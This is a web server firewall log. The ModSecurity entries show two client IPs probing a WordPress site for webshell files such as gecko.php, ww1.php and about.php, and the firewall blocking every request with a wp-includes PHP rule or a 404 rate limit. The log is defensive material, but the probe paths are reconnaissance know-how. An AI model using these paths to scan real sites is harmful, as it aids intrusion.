[Thu Feb 26 22:25:51.731862 2026] [:error] [pid 20419:tid 20435] [client 4.194.131.131:2056] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aaBX7-3DVDvMfTYYUBVozAAAAc0"]
[Thu Feb 26 22:25:51.916653 2026] [:error] [pid 25311:tid 25330] [client 4.194.131.131:2715] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaBX79fdM__yZAgJFSvsIgAAAZA"]
[Thu Feb 26 22:25:52.127606 2026] [:error] [pid 25311:tid 25329] [client 4.194.131.131:3037] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaBX8NfdM__yZAgJFSvsJAAAAY8"]
[Thu Feb 26 22:25:52.134465 2026] [:error] [pid 25311:tid 25331] [client 20.151.107.14:64181] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaBX8NfdM__yZAgJFSvsJQAAAZE"]
[Thu Feb 26 22:25:52.327272 2026] [:error] [pid 54991:tid 55028] [client 4.194.131.131:2088] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaBX8N4Zx-mJ8gbRB2j_GQAAAEg"]
[Thu Feb 26 22:25:52.529578 2026] [:error] [pid 55051:tid 55075] [client 4.194.131.131:2745] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aaBX8AmK1w2kZvh5eLHQjQAAAJU"]
[Thu Feb 26 22:25:52.581318 2026] [:error] [pid 44444:tid 44462] [client 20.151.107.14:63596] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaBX8G2sMNmj-yekUk1O1gAAAgw"]
[Thu Feb 26 22:25:52.708685 2026] [:error] [pid 44444:tid 44451] [client 4.194.131.131:3030] [client 4.194.131.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aaBX8G2sMNmj-yekUk1O1wAAAgE"]
[Thu Feb 26 22:25:52.890066 2026] [:error] [pid 44444:tid 44454] [client 4.194.131.131:2324] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaBX8G2sMNmj-yekUk1O3AAAAgQ"]
[Thu Feb 26 22:25:53.105847 2026] [:error] [pid 55051:tid 55073] [client 20.151.107.14:62928] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaBX8QmK1w2kZvh5eLHQkgAAAJM"]
[Thu Feb 26 22:25:53.142374 2026] [:error] [pid 44444:tid 44464] [client 4.194.131.131:2413] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaBX8W2sMNmj-yekUk1O4AAAAg4"]
[Thu Feb 26 22:25:53.350582 2026] [:error] [pid 55122:tid 55124] [client 4.194.131.131:3065] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaBX8YLiR0OfjFxvcN82eQAAAMA"]
[Thu Feb 26 22:25:53.600594 2026] [:error] [pid 20419:tid 20429] [client 4.194.131.131:3033] [client 4.194.131.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaBX8e3DVDvMfTYYUBVozgAAAcc"]
[Thu Feb 26 22:25:53.689216 2026] [:error] [pid 3883:tid 3903] [client 20.151.107.14:64178] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaBX8eA33x90V6yYHaj2wgAAAVE"]
[Thu Feb 26 22:25:53.783715 2026] [:error] [pid 55122:tid 55145] [client 4.194.131.131:2052] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aaBX8YLiR0OfjFxvcN82egAAANU"]
[Thu Feb 26 22:25:53.958832 2026] [:error] [pid 55051:tid 55058] [client 4.194.131.131:2057] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aaBX8QmK1w2kZvh5eLHQkwAAAIQ"]
[Thu Feb 26 22:25:54.151760 2026] [:error] [pid 20419:tid 20422] [client 4.194.131.131:2502] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aaBX8u3DVDvMfTYYUBVo0AAAAcA"]
[Thu Feb 26 22:25:54.163172 2026] [:error] [pid 20419:tid 20426] [client 20.151.107.14:64246] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/"] [unique_id "aaBX8u3DVDvMfTYYUBVo0QAAAcQ"]
[Thu Feb 26 22:25:54.342571 2026] [:error] [pid 3883:tid 3895] [client 4.194.131.131:2726] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aaBX8uA33x90V6yYHaj2yAAAAUk"]
[Thu Feb 26 22:25:54.522476 2026] [:error] [pid 3883:tid 3908] [client 4.194.131.131:3027] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aaBX8uA33x90V6yYHaj2ygAAAVY"]
[Thu Feb 26 22:25:54.653645 2026] [:error] [pid 3883:tid 3891] [client 20.151.107.14:63579] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/"] [unique_id "aaBX8uA33x90V6yYHaj2ywAAAUU"]
[Thu Feb 26 22:25:54.699864 2026] [:error] [pid 55122:tid 55148] [client 4.194.131.131:3044] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aaBX8oLiR0OfjFxvcN82fgAAANg"]
[Thu Feb 26 22:25:54.887039 2026] [:error] [pid 3883:tid 3910] [client 4.194.131.131:2875] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aaBX8uA33x90V6yYHaj2zwAAAVg"]
[Thu Feb 26 22:25:55.076192 2026] [:error] [pid 3883:tid 3892] [client 4.194.131.131:2087] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aaBX8-A33x90V6yYHaj20QAAAUY"]
[Thu Feb 26 22:25:55.101685 2026] [:error] [pid 20419:tid 20438] [client 20.151.107.14:61328] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/"] [unique_id "aaBX8-3DVDvMfTYYUBVo0wAAAdA"]
[Thu Feb 26 22:25:55.278850 2026] [:error] [pid 3883:tid 3896] [client 4.194.131.131:3066] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aaBX8-A33x90V6yYHaj20wAAAUo"]
[Thu Feb 26 22:25:55.483726 2026] [:error] [pid 44444:tid 44459] [client 4.194.131.131:2074] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aaBX822sMNmj-yekUk1O8QAAAgk"]
[Thu Feb 26 22:25:55.637073 2026] [:error] [pid 44444:tid 44463] [client 20.151.107.14:64219] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/"] [unique_id "aaBX822sMNmj-yekUk1O9gAAAg0"]
[Thu Feb 26 22:25:55.688879 2026] [:error] [pid 3883:tid 3900] [client 4.194.131.131:2082] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aaBX8-A33x90V6yYHaj21QAAAU4"]
[Thu Feb 26 22:25:55.890782 2026] [:error] [pid 3883:tid 3899] [client 4.194.131.131:2083] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aaBX8-A33x90V6yYHaj21gAAAU0"]
[Thu Feb 26 22:25:56.080706 2026] [:error] [pid 44444:tid 44451] [client 4.194.131.131:3071] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaBX9G2sMNmj-yekUk1O_AAAAgE"]
[Thu Feb 26 22:25:56.271832 2026] [:error] [pid 55618:tid 55639] [client 4.194.131.131:2705] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaBX9B61Vrh12f_8oWQUzQAAARI"]
[Thu Feb 26 22:25:56.298918 2026] [:error] [pid 44444:tid 44467] [client 20.151.107.14:64238] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css.php"] [unique_id "aaBX9G2sMNmj-yekUk1PAAAAAhE"]
[Thu Feb 26 22:25:56.482265 2026] [:error] [pid 20419:tid 20443] [client 4.194.131.131:2071] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaBX9O3DVDvMfTYYUBVo1AAAAdU"]
[Thu Feb 26 22:25:56.662102 2026] [:error] [pid 44444:tid 44463] [client 4.194.131.131:2549] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaBX9G2sMNmj-yekUk1PBwAAAg0"]
[Thu Feb 26 22:25:56.792594 2026] [:error] [pid 20419:tid 20430] [client 20.151.107.14:64150] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aaBX9O3DVDvMfTYYUBVo1QAAAcg"]
[Thu Feb 26 22:25:56.867426 2026] [:error] [pid 54991:tid 55038] [client 4.194.131.131:2720] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aaBX9N4Zx-mJ8gbRB2j_HgAAAFI"]
[Thu Feb 26 22:25:57.061628 2026] [:error] [pid 54991:tid 55021] [client 4.194.131.131:2068] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aaBX9d4Zx-mJ8gbRB2j_HwAAAEE"]
[Thu Feb 26 22:25:57.221127 2026] [:error] [pid 25311:tid 25321] [client 20.151.107.14:63539] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aaBX9dfdM__yZAgJFSvsLAAAAYc"]
[Thu Feb 26 22:25:57.279812 2026] [:error] [pid 20419:tid 20423] [client 4.194.131.131:2066] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aaBX9e3DVDvMfTYYUBVo2AAAAcE"]
[Thu Feb 26 22:25:57.464177 2026] [:error] [pid 44444:tid 44451] [client 4.194.131.131:2103] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aaBX9W2sMNmj-yekUk1PDgAAAgE"]
[Thu Feb 26 22:25:57.657906 2026] [:error] [pid 54990:tid 55004] [client 20.151.107.14:63570] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aaBX9Xtr2qmt_mBhH2wvdgAAAAs"]
[Thu Feb 26 22:25:57.674889 2026] [:error] [pid 55122:tid 55142] [client 4.194.131.131:2417] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaBX9YLiR0OfjFxvcN82gwAAANI"]
[Thu Feb 26 22:25:57.849010 2026] [:error] [pid 54990:tid 54993] [client 4.194.131.131:2077] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaBX9Xtr2qmt_mBhH2wveQAAAAA"]
[Thu Feb 26 22:25:58.094016 2026] [:error] [pid 54990:tid 54998] [client 20.151.107.14:62879] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sky-pro/js.php"] [unique_id "aaBX9ntr2qmt_mBhH2wvewAAAAU"]
[Thu Feb 26 22:25:58.097890 2026] [:error] [pid 54990:tid 55008] [client 4.194.131.131:3059] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaBX9ntr2qmt_mBhH2wvfAAAAA8"]
[Thu Feb 26 22:25:58.357419 2026] [:error] [pid 44444:tid 44458] [client 4.194.131.131:3036] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaBX9m2sMNmj-yekUk1PFwAAAgg"]
[Thu Feb 26 22:25:58.570141 2026] [:error] [pid 44444:tid 44472] [client 20.151.107.14:64186] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sky-pro/js.php"] [unique_id "aaBX9m2sMNmj-yekUk1PGwAAAhY"]
[Thu Feb 26 22:25:58.573306 2026] [:error] [pid 44444:tid 44468] [client 4.194.131.131:2097] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaBX9m2sMNmj-yekUk1PHAAAAhI"]
[Thu Feb 26 22:25:58.768205 2026] [:error] [pid 44444:tid 44450] [client 4.194.131.131:2081] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaBX9m2sMNmj-yekUk1PHgAAAgA"]
[Thu Feb 26 22:25:58.953076 2026] [:error] [pid 44444:tid 44467] [client 4.194.131.131:2069] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaBX9m2sMNmj-yekUk1PJAAAAhE"]
[Thu Feb 26 22:25:59.029428 2026] [:error] [pid 44444:tid 44456] [client 20.151.107.14:61334] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sky-pro/js.php"] [unique_id "aaBX922sMNmj-yekUk1PJgAAAgY"]
[Thu Feb 26 22:25:59.156865 2026] [:error] [pid 44444:tid 44462] [client 4.194.131.131:2067] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaBX922sMNmj-yekUk1PKQAAAgw"]
[Thu Feb 26 22:25:59.391564 2026] [:error] [pid 44444:tid 44472] [client 4.194.131.131:3029] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aaBX922sMNmj-yekUk1PLAAAAhY"]
[Thu Feb 26 22:25:59.518624 2026] [:error] [pid 44444:tid 44474] [client 20.151.107.14:64253] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sky-pro/js.php"] [unique_id "aaBX922sMNmj-yekUk1PMgAAAhg"]
